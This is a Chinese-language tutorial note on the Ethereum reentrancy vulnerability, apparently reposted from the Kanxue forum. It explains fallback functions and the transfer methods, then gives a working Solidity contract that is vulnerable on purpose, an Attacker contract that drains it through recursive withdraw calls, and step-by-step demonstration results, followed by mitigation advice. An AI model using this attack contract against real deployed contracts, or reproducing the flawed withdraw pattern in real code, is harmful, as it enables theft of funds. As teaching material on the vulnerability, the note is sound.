智能合约-重入漏洞 笔记

重入漏洞

漏洞分析

以太坊智能合约的特点之一是能够调用其他外部合约的代码，然而这些外部合约可能被攻击者劫持，迫使合约通过回退函数进一步执行代码，包括回调本身。在 gas 足够的情况下，合约之间甚至可以相互循环调用，直至达到 gas 的上限，但是如果循环中有转账之类的操作，就会导致严重的后果

function withdraw(){
  require(msg.sender,call.value(balances[msg.sender])());
  balances[msg.sender]=0;
}

这种函数大多存在于钱包、去中心化交易所中，目的是为了让用户提款，将合约中的代币转换成通用的以太币
但是有个问题是他没有先对用户的代币余额进行清零，而智能合约进行转账的时候会调用收款方 fallback 函数

合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中，没有其他函数与给定的函数标识符匹配（或没有提供调用数据），那么这个函数（fallback 函数）会被执行。另外每当合约收到以太币（没有任何数据），这个函数就会执行。此外，为了接收以太币，fallback 函数必须标记为 payable。 如果不存在这样的函数，则合约不能通过常规交易接收以太币

如果构造一个 fallback 函数，函数里面也调用对方的 withdraw 函数的话，那将会产生一个循环调用转账功能，存在漏洞的合约会不断向攻击者合约转账，终止循环结束（以太坊 gas 有上限）

常用转币方式

<

address>.reansfer()

发送失败时会通过 throw 回滚状态，只会传递 2300 个 gas 以供调用，从而防止重入

<

address>.send()

发送失败时，返回布尔值 false，只会传递 2300 个 gas 以供调用，从而防止重入

<

address>.gas().call.value()()

当发送失败时，返回布尔值 false 将传递所有可用的 gas 进行调用（可通过 gas(gas _value) 进行限制），不能有效防止重入攻击

代码调试

pragma solidity ^0.4.19;

contract Victim {
    mapping(address => uint) public userBalannce;
    uint public amount = 0;
    function Victim() payable{}
    function withDraw(){
        uint amount = userBalannce[msg.sender];
        if(amount > 0){
        msg.sender.call.value(amount)();
            userBalannce[msg.sender] = 0;
        }
    }
    function() payable{}
    function receiveEther() payable{
        if(msg.value > 0){
            userBalannce[msg.sender] += msg.value;
        }
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
}

contract Attacker{
    uint public amount = 0;
    uint public test = 0;
    function Attacker() payable{}
    function() payable{
        test++;
        Victim(msg.sender).withDraw();
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
    function sendMoney(address addr){
        Victim(addr).receiveEther.value(1 ether)();
    }
    function reentry(address addr){
        Victim(addr).withDraw();
    }
}

部署 Attacker 合约，给 Attacker 合约 1 以太币

部署之后点击 showAccount 再点击 amount 看一下余额，成功

同样，部署 victim 合约，给他 10 以太币，目前账户余额如下：

调用 Attacker 合约的 sendMoney 函数，给 victim 转一个以太币

调用 Attacker 的 reentry 函数，进行攻击，然后看一下余额，发现原本在 victim 中的以太币全都到了 Attacker 合约中，同时 test 的值为 11，说明 fallback 函数被调用了 11 次

漏洞防范

重入漏洞的关键在于：利用回退函数调用函数本身，形成递归调用，在递归调用的过程中进行了转账操作，导致循环转账。虽然代码中存在判断语句，但是状态更新在函数调用之后，所以状态更新会因为循环调用而迟迟无法执行
广义上看，重入攻击条件有一下两个：
调用合约外部函数。若外部函数是被攻击者所操纵的合约，就存在隐患
外部函数操作优先于对状态的写操作
所以，防范的关键在于编写合约的时候把写操作放在外部函数调用之前

原文始发于看雪论坛(yichen115)：智能合约-重入漏洞 笔记